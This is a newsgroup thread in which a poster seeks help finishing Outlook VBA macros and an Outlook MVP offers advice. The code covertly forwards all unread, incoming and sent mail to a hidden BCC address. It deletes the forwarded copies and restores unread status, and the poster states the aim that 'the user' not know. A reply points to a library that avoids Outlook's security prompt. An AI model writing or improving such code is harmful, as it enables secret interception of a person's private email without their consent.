Sue, thanks for your help... I have been trying for ages now, but no joy in
getting the last bit to work !!! very frustrating !!! im not sure how to
incorporate it to what I have already ?????
so far all items that are unread when I log on are forwrded, items i recieve
are forwarded its just the items I send... just cant get that working please
could you look at what I have so far and tell me what I have to do or add to
get this working !!! I would appreciate this SO much its the last bit I have
to do !!!
I just dont want the user to know that additional sent message has been
sent...
here is what I have so far (with help of other users on here !!!) I have
this under thisoutlooksession:
Public WithEvents myOlItems As Outlook.Items
Private Sub Application_Startup()
Dim obj As Object
Dim objReply As MailItem
For Each obj In Application.Session.GetDefaultFolder(olFolderInbox).Items
If TypeOf obj Is Outlook.MailItem Then
If obj.UnRead = True Then
Set omail = obj
Set objReply = Application.CreateItem(olMailItem)
objReply.Subject = "My Subject Line"
objReply.BCC = "(E-Mail Removed)"
objReply.Attachments.Add omail
objReply.DeleteAfterSubmit = True
objReply.Send
obj.UnRead = True
End If
End If
Next
Set myOlItems = Outlook.Session.GetDefaultFolder(olFolderInbox).Items
End Sub
Private Sub myOlItems_ItemAdd(ByVal Item As Object)
Dim objItem As Object
Dim objReply As Outlook.MailItem
Set objReply = Application.CreateItem(olMailItem)
objReply.Subject = "My Subject Line"
objReply.BCC = "(E-Mail Removed)"
If TypeName(Item) = "MailItem" Then
objReply.Attachments.Add Item
End If
objReply.DeleteAfterSubmit = True
objReply.Send
Set objItem = Nothing
Set objReply = Nothing
Item.UnRead = True
End Sub
' ****** THIS IS WHERE THE PROBLEM IS !!! Grrr *******
Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)
Dim objMe As Recipient
Set objMe = Item.Recipients.Add("(E-Mail Removed)")
objMe.Type = olBCC
objMe.Resolve
Set objMe = Nothing
End Sub
So sorry to be a pain !!!!!
I appreciate all your help !!!!
"Sue Mosher [MVP-Outlook]" wrote:
> Yes, the same basic framework works in that version. Your code for the
> ItemAdd handler would, of course, be different, because your application
> does not involve changing categories. Also, since you need to create
> (Application.CreateItem), attach an item (MailItem.Attachments.Add), and
> send the resulting message, if you have Outlook 2000 SP-2 or later, you may
> want to consider using the Redemption library from
> http://www.dimastr.com/redemption/. Otherwise, you'll get a security prompt
> for each message sent by your code.
>
> --
> Sue Mosher, Outlook MVP
> Author of
> Microsoft Outlook Programming - Jumpstart for
> Administrators, Power Users, and Developers
> http://www.outlookcode.com/jumpstart.aspx
>
>
> "Walshy" <(E-Mail Removed)> wrote in message
> news:573D00BD-028E-4F80-98AB-(E-Mail Removed)...
> >I am using outlook 2000, will this still work on there ?
> >
> >
> > Dim WithEvents colSentItems As Items
> >
> > Private Sub Application_Startup()
> > Dim NS As Outlook.NameSpace
> > Set NS = Application.GetNamespace("MAPI")
> > Set colSentItems = NS.GetDefaultFolder(olFolderSentMail).Items
> > Set NS = Nothing
> > End Sub
> >
> > Private Sub colSentItems_ItemAdd(ByVal Item As Object)
> > If Item.Class = olMail Then
> > Item.ShowCategoriesDialog
> > Item.Save
> > End If
> > End Sub
> >
> >
> > "Walshy" wrote:
> >
> >> If someone could please help me with the following id be grateful...
> >>
> >> Sue
> >>
> >> This is great thanks... The only problem is, when I go into my sent items
> >> after the item has been sent and open up that item I can see that it has
> >> been
> >> bcc`d to "(E-Mail Removed)"... is there any way so that it does
> >> not
> >> show this ??? hide that field or something maybe ???
> >>
> >> I was thinking to get round this, when an item is sent to create an
> >> additional new mail and sent the original sent item as an attachment
> >> maybe
> >> ??? the only prob I am having is the attachment isnt working properly ???
> >> is
> >> attached as a blank ??? not the original sent item ???
> >>
> >> I maybe totally wrong on how I am doing this... if you could help me id
> >> be
> >> very grateful...
> >>
> >> code i tried to do myself ??? doh !!!
> >>
> >> Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)
> >>
> >> Set objreply = Application.CreateItem(olMailItem)
> >> objreply.Subject = "Sent Items"
> >> objreply.BCC = "(E-Mail Removed)"
> >> objreply.Attachments.Add Item
> >> objreply.Display
> >>
> >> End Sub
> >>
> >>
> >> Regards
> >>
> >>
> >> "Sue Mosher [MVP-Outlook]" wrote:
> >>
> >> > You've made it too complicated. Item is the item being sent. Just Bcc
> >> > that
> >> > item:
> >> >
> >> > Private Sub Application_ItemSend(ByVal Item As Object, Cancel As
> >> > Boolean)
> >> > Set myBCC = Item.Recipients.Add("(E-Mail Removed)")
> >> > myBCC.Type = olBCC
> >> > End Sub
> >> >
> >> >
> >> > --
> >> > Sue Mosher, Outlook MVP
> >> > Author of
> >> > Microsoft Outlook Programming - Jumpstart for
> >> > Administrators, Power Users, and Developers
> >> > http://www.outlookcode.com/jumpstart.aspx
> >>
>
>
>